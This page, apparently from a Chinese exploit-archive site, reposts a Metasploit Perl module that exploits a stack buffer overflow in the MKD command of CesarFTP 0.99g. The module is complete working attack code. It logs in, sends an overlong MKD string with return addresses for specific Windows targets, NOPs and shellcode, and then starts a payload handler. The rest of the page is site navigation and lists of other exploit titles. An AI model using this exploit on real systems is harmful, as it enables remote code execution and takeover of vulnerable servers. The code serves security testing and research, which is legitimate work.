首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Cesar FTP 0.99g MKD Command Buffer Overflow
来源:y0[at]w00t-shell.net 作者:y0 发布时间:2006-06-27  


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cesarftp_mkd;

use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' =>
[
'y0 <y0[at]w00t-shell.net>',
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'SSL' => [0, 'BOOL', 'Use SSL'],
'USER' => [1, 'DATA', 'Username', 'metasploit'],
'PASS' => [1, 'DATA', 'Password', 'metasploit'],
},

'Payload' =>
{
'Space' => 250,
'BadChars' => "\x00\x20\x0a\x0d",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the MKD verb in
CesarFTP 0.99g.
}),

'Refs' =>
[
['URL', 'http://secunia.com/advisories/20574/'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Windows 2000 SP4 English', 0x77e14c29 ],
[ 'Windows XP SP2 English', 0x76b43ae0 ],
[ 'Windows 2003 SP1 English', 0x76AA679b ],
],

'Keys' => ['ftp'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$targetIndex];

my $s = $self->Login;
return if ! $s;

$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

my $filler =
("\n" x 671). Pex::Text::AlphaNumText(3).
pack('V', $target->[1]). $self->MakeNops(40);

my $sploit =
"MKD ". $filler. $shellcode. "\r\n";

$s->Send($sploit);

$self->Handler($s);
sleep(2);
return;
}

sub Login {
my $self = shift;

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $self->GetVar('RHOST'),
'PeerPort' => $self->GetVar('RPORT'),
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: '.$s->GetError);
return;
}

my $res = $s->Recv(-1, 20);

if (! $res || $res !~ /CesarFTP 0\.99g/) {
$self->PrintLine("[*] The service did not return a valid banner");
return;
}

$self->PrintLine("[*] REMOTE> ". $self->CleanData($res));

$s->Send("USER ". $self->GetVar('USER') ."\r\n");
$res = $s->Recv(-1, 10);
$self->PrintLine("[*] REMOTE> ". $self->CleanData($res));
if ($res !~ /^331/) {
$s->Close;
return;
}

$s->Send("PASS ". $self->GetVar('PASS') ."\r\n");
$res = $s->Recv(-1, 10);
$self->PrintLine("[*] REMOTE> ". $self->CleanData($res));
if ($res !~ /^230/) {
$s->Close;
return;
}

return $s;
}

sub CleanData {
my $self = shift;
my $data = shift;
$data =~ s/\r|\n//g;
return $data;
}

1;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NIPrint LPD Request Overflow
·Microsoft RRAS MSO6-025 Stack
·DreamAccount <= 3.1 (auth.a
·Scout Portal Toolkit <= 1.4
·DeluxeBB <= 1.07 (cp.php) C
·Microsoft Excel 2003 Hlink Sta
·MyBulletinBoard (MyBB) <= 1
·BLOG:CMS <= 4.0.0k Remote S
·XM Easy Personal FTP Server 5.
·Mac OS X <= 10.4.6 (launchd
·BitchX <= 1.1-final do_hook
·GeekLog <= 1.4.0sr3 f(u)cke
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved